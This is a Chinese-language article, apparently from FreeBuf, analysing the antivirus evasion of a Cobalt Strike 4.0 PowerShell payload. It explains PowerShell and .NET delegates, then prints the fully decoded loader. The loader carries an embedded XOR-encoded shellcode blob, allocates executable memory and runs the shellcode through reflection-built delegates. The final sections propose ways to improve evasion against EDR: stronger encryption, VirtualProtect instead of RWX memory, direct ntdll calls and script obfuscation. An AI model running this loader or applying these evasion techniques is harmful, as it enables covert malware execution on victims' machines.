Cobalt Strike powershell 免杀分析
文章介绍了PowerShell的基础知识及其命令类型,并分析了Cobalt Strike生成的恶意文件样本。该样本通过Base64编码和Gzip压缩隐藏payload,并利用反射机制动态生成委托类型以执行解密后的shellcode。文章还探讨了恶意文件的免杀技术及其改进措施。 2025-12-27 14:4:53 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

一、powershell 基础知识

一般的shell程序都会将指令分为内部指令和外部指令,内部命令于shell程序自身内部对应的函数执行,对于外部命令,会从命令行参数中解析出程序名参数,然后在当前目录、PATH环境变量中找到路径,调用Win32 APICreateProcessW()创建新进程执行命令。

在Powershell中命令分为一下几种:

  1. AliselsGet-ChildItem

  2. Function:用户或模块定义的 PowerShell 函数

  3. CmdletGet-Process

  4. External Script(.ps1 脚本)

  5. Application(外部可执行程序)

1.1 Cmdlet

Cmdlet 是 PowerShell 中最基本的命令单元。每一个Cmdlet都对应一个.NET类(继承自System.Management.Automation.CmdletPSCmdlet)。

Pwershell启动时候,会加载自身的dll,其中包含了大量的Cmdlet,对于Powershell来说,所有的cmdlet都是他的内部函数,因此它的功能相比cmd更加强大,可以进行对象的创建,方法的调用,甚至自定义cmdlet等等复杂的操作。

而且和cmd输出是字符串不同,Powershell 的Get-ChildItem输出是 FileInfo/DirectoryInfo对象,可直接访问属性。

cmdlet执行过程
  1. 命令解析:PowerShell 引擎使用其内置的解析器(Parser)将字符串转换为 抽象语法树(Abstract Syntax Tree, AST),与已加载模块中的 cmdlet进行匹配

  2. 实例化Cmdlet对象:通反射(Reflection)创建该 cmdlet 类的一个实例。

  3. 参数绑定:将命令行参数自动绑定到 cmdlet 类中对应的公共属性(Property)上。

    Get-Process -Name notepad ==
    cmdlet.Name = "notepad";
    
  4. Cmdlet生命周期管理方法

    方法作用调用时机
    BeginProcessing()初始化资源(如打开文件、连接数据库)在处理任何输入前调用一次
    ProcessRecord()核心逻辑,处理每一条输入记录对每个输入对象调用一次(或无输入时调用一次)
    EndProcessing()清理资源、汇总结果所有记录处理完后调用一次
  5. 输出输出对象到管道或控制台

    1. ProcessRecord()EndProcessing()中,通过WriteObject(),WriteError()等方法输出内容。

    2. 输出的对象进入 PowerShell 管道,可被下一个 cmdlet 接收,或最终由格式化系统(如 Out-Default)渲染为文本显示在控制台。

  6. 清理与释放

1.2 .NET委托机制

.NET是一个由微软主导的、开源的一个开发平台,拥有自己的一套运行时环境(CLR),.NET平台下的编程语言被称为C#,和C、GO一样,C#在编译的时候会加载自己运行库,进而生成可执行文件。而Poweshell就是一个.NET程序。

Powershell代码运行再CLR之上,CLR 负责控制所有的native调用,CLR 不允许你生成或执行任意call [address]指令

.NET 程序被编译成的是 CIL(Common Intermediate Language),不是 x86/x64 机器码。CIL 中调用函数的方式只有几种:

指令用途
call/callvirt调用已知的 .NET 方法(由元数据引用)
calli间接调用(通过函数指针),但需指定精确签名

即使使用calli,你也必须提供完整的调用签名(参数、返回值、调用约定)——这本质上就是“委托”的作用!

而 PowerShell 或普通 C# 代码无法直接 emitcalli指令,所以,在获取到底层系统调用函数的地址之后,还需要经过委托,进行调用。

委托(Delegate)在 .NET 中要实现的根本目标是 :将“方法”当作“数据”来传递和操作。根据其定义时的签名(signature)来严格限制可以绑定(或赋值)的方法的

// 定义委托
public delegate void MyDelegate(string message);
// 使用示例
class Program
{
    static void Main()
    {
        MyDelegate del = new MyDelegate(ShowMessage); // 或简写为 MyDelegate del = ShowMessage;
        del("Hello, Delegate!");
    }
    static void ShowMessage(string msg)
    {
        Console.WriteLine(msg);
    }
}

el.Invoke("Hello");   // 显式调用
del("Hello");          // 隐式调用(语法糖)

二、Cobalt Strike powershell 恶意文件分析

此恶意文件时CS 4.0版本,然后通过HTTP Application 所生成

该样本通过VBScript 脚本,创建了一个函数,该函数调用了powershell 执行恶意文件 ,先通过如下脚本将powershell的参数进行base64解码
image

# decode_payload.ps1
# 用你的 Base64 字符串替换下面的占位符
$encoded = "BASE64_ENCODED_PAYLOAD_HERE"
# 将 Base64 解码为字节数组(原始编码为 UTF-16LE)
$bytes = [System.Convert]::FromBase64String($encoded)
# 将字节数组按 UTF-16LE(Unicode)解码为明文 PowerShell 脚本
$decodedScript = [System.Text.Encoding]::Unicode.GetString($bytes)
# 输出解密后的内容(不执行!)
Write-Output $decodedScript

结果如下:

image

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("..."));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
  • [Convert]::FromBase64String:对加载器进行base64解码

  • IO.MemoryStream:在内存中创建一个可以读写的流,来存储加载器

  • IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress):进行Gzip解压

  • IO.StreamReader(....):将解压后的字节流包装成文本读取器

  • .ReadToEnd():读取全部解压后的内容,返回一个字符串

  • IEX:动态解析并执行该字符串

根据上述代码,还原powershell命令

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String($encoded));
$decodedScript=(New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()
Write-Output $decodedScript

结果:

Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
	Param ($var_module, $var_procedure)		
	$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
	)

	$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
	$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

	return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDEJuGlYjh8IE9pATsP5/kC7jifTz8Q0ZKWt2U6kiJI7ISVlKtX7fNx9DdZS+FqGZEO3nl1ET1YioJ2HitvkwKgvL24hBuuqcPupch1WZRiN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMaDRMYA3RKTUdMVFADbXcDFQ0SGAN3UUpHRk1XDBYNExgDYWxqZhoYZnBmcAouKSNTASacPP2t9D9Vk2/id7ELFQj5GFQQzX2mM/6F0M5/tZQEjt8MkgDus+zfa58piNXg03paXR1NwtdjmpGOCfq6/P7pB2MpCmu+Sa4DA91Cyo77IvxssCgWszRmeoVSZ3hbSGYwkbUs2lxvT4BVhOQDmCy46nNkcvtXWMMOoSbWX1Jy2m9/W07r/E+lIiybIlkLXjr9I3AkMp0TihqcGunNVC0NdCbUZeXpwJIMBcXj2q3hsEvXUj3vnG2mh6vRnDaU2aABgrQjvv/wpsKRBuwIckmuYBkjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3BIaEQ0SFRsNERASDRIQESMxF3Vb')

for ($x = 0; $x -lt $var_code.Count; $x++) {
	$var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll,VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
	start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
	IEX $DoIt
}

2.1 func_get_delegate_type

该函数的作用是找到指定函数的地址,两个参数分别是dll和func的名字,总的来说,就是先找到system.dll,然后从**UnsafeNativeMethods**类中获取到GetProcAddress函数的地址,然后调用该函数获取所需函数的地址

以下是实现细节:

  1. 获取当前 PowerShell 进程中已加载的所有 .NET 程序集(assemblies)。返回一个System.Reflection.Assembly[]数组。

  2. 通过判断是否在 GAC(全局程序集缓存)中,准确找到官方 .NET FrameworkSystem.dll

    1. System.dll是一个托管程序集,是.NET 基础类库(BCL)的一部分,里面封装了许多对底层 Windows 系统功能的调用

  3. 在找到的System.dll程序集中,通过反射获取名为Microsoft.Win32.UnsafeNativeMethods的类型(Type),其中包含了该类的方法、属性、字段等所有元数据

    1. UnsafeNativeMethods是.NET Framework 内部(internal)的一个 C# 类,位于System.dll程序集中,包含GetProcAddressGetModuleHandleLoadLibrary(string)等关键 API,可实现动态函数解析

  4. UnsafeNativeMethods中获取GetProcAddress函数地址

  5. 通过GetProcAddress方法获取指定函数的地址

    1. 通过反射调用GetModuleHandle方法,获取到system.dll 的handler

    2. 通过New-object 创建System.Runtime.InteropServices.HandleRef对象

      1. public HandleRef(object wrapper, IntPtr handle)

      2. 为handle创建一个wrapper托管对象,当进行系统调用处理的时候,handle被真实传递给Win32 API, .NAT可以钉住wrapper,防止在系统调用期间,GC回收handle

      3. 此时由于是静态方法,因此随意传入一个IntPtr指针即可

HandleRef的一些说明
void LoadLibrary() {
    var file = new MyFile("data.bin");        // ← 创建对象
    IntPtr h = file.GetHandle();              // ← 获取句柄(IntPtr)
    SomeWin32API(h);                          // ← 调用 Win32 API(耗时 100ms)
    Console.WriteLine("Done");
}

根据上述代码,file对象在Win32 API调用开始之后,就没有被后续代码访问了,而file又是一个局部变量,因此,JIT 编译器会在 IL(中间语言)级别标记file的生命周期在此结束,因此需要通过HandleRef创建一个托管对象,保证file对象不会再系统调用期间被释放

关于TYPE对象的一些反射操作,可以类比于java class对象
//获取Type对象
$myType = [AppDomain]::CurrentDomain.GetAssemblies().GetType()
//获取方法的methodinfo
$method = $myType.GetMethod(string name, Type[] types)
	
//调用方法
$result = $method.Invoke($null, @(-5))  
	//第一个参数代表对象实例,如果是静态方法,传入NULL
	//第二个参数,实际参数列表,无参数写入@()

2.2 func_get_delegate_type

动态生成一个与目标原生函数签名匹配的 .NET 委托类型,以便将函数指针(如GetProcAddress返回的地址)转换为可调用的委托对象。第一个参数是函数参数类型数组,第二个参数是返回值类型。

同样以下是实现细节:

  1. 创建自定义类型

    1. 使用DefineDynamicAssembly在内存中创建一个仅运行时不持久化的程序集(Run模式),名称为'ReflectedDelegate'

    2. 在程序集中创建一个名为'InMemoryModule'的模块,$false表示不生成可保存的 PE 文件(纯内存)

    3. 创建一个名为'MyDelegateType'的新类型

  2. 定义构造函数

    1. .SetImplementationFlags('Runtime, Managed')

      • 表示该方法由 CLR 运行时自动实现,无需提供 IL 代码

  3. 定义invoke方法

  4. 返回委托类型

2.3 System.Runtime.InteropServices.Marshal

System.Runtime.InteropServices.Marshal是 .NET 中用于托管代码(Managed Code)与非托管代码(Unmanaged Code)之间互操作(Interop)的核心类。

托管代码:.NET 编译器编译为中间语言(IL, Intermediate Language),并在 CLR控制下执行的代码,由 CLR 负责:

  • 内存管理(自动垃圾回收 GC)

  • 类型安全检查、异常处理、安全性验证、JIT 编译(将 IL 编译为本地机器码)

  • 运行在 应用程序域(AppDomain)

非托管代码:不由 CLR 管理的代码,通常直接编译为特定平台的原生机器码(native code)

  • 须手动分配/释放内存(如malloc/freenew/delete

  • 无类型安全或边界检查:容易出现缓冲区溢出、内存泄漏等

  • 直接运行在操作系统上,性能高但风险大

  • 通常以 DLL(Windows)so(Linux)形式存在

它提供了一系列静态方法,用于:

  • 内存分配/释放(非托管堆)

  • 类型转换(封送处理,Marshaling)

  • 函数指针 <> 委托转换

  • 结构体 <> 指针互转

  • 错误处理(Win32 HRESULT 转异常)

  • COM 对象交互

GetDelegateForFunctionPointer

将非托管代码指针转换为可委托对象,然后过于新建的委托类型进行调用

Copy

将托管代码(shellcode)写入VirtualAlloc申请的地址空间,方便后续执行

2.4 加载器整体思路

  1. 判断当前操作系统位数,如果是64位,则通过Start-Job -RunAs32启动一个 32 位子进程来执行

  2. 首先是根据system.dll,找到GetProcAddress函数的地址,通过它可以找到我们需要的函数地址(Kernal32.dll 中的VirtualAlloc)

  3. 创造一个自定义的委托类型,满足VirtualAlloc使用,通过Marshal::GetDelegateForFunctionPointer方法,将我们获得的非托管原生代码(Win32 API、shellcode、DLL 导出函数)地址转换为可以可调用的 .NET 委托(Delegate)对象,通过.invoke方法,调用VirtualAlloc,为shellcode申请内存空间

  4. 调用Marshal::Copy然后将shellcode复制到VirtualAlloc申请的内存地址中(具有执行权限)

  5. 创造一个自定义的委托类型,满足shellcode的执行条件@([IntPtr]) ([Void]),继续通过.invoke方法,执行shellcode

三、恶意文件免杀分析

  • 优点

    • 整体上来看,该恶意文件对shellcode进行了XOR加密,以及整体进行了gzip压缩和base64编码,可以规避对于已知shellcode特征的规则检测。

    • 从加载器的角度来看,并没有使用DLLImport直接调用win32 API,而是通过UnsafeNativeMethods反射获取到GetProcAddress的函数地址,然后通过自定义委托类型的方式,进一步隐藏了行为。

  • 改进

    • 可以使用AES 或 RC4等更复杂的加密方式。

    • VirtualAlloc(..., PAGE_EXECUTE_READWRITE)是高危行为,EDR 会进行监控。可以先分配PAGE_READWRITE,写入 shellcode 后用VirtualProtect改为PAGE_EXECUTE_READ

    • 通过kernel32.dll!VirtualAlloc调用,极有可能被 Hook,可以尝试调用更底层的函数(ntdll.dll中的NtAllocateVirtualMemory)。

    • 对powershell语法进行混淆,字符拆拆分、变量重命名、将关键逻辑拆分为多个函数等等。

    • 避免使用Start-Job -RunAs32,可以直接设置仅在32位系统中运行,放弃对64位的兼容。

四、高版本改进

在高版本.NET中,UnsafeNativeMethods类被移除、或者不可访问,因此传统通过反射获取GetModuleHandle/GetProcAddress的方法失效。我们可以通过 PowerShell 的Add-Type+DllImport来显示声明所需 API。但是这两个本身容易被检测,因此需要借助混淆进行绕过。


文章来源: https://www.freebuf.com/articles/endpoint/464060.html
如有侵权请联系:admin#unsafe.sh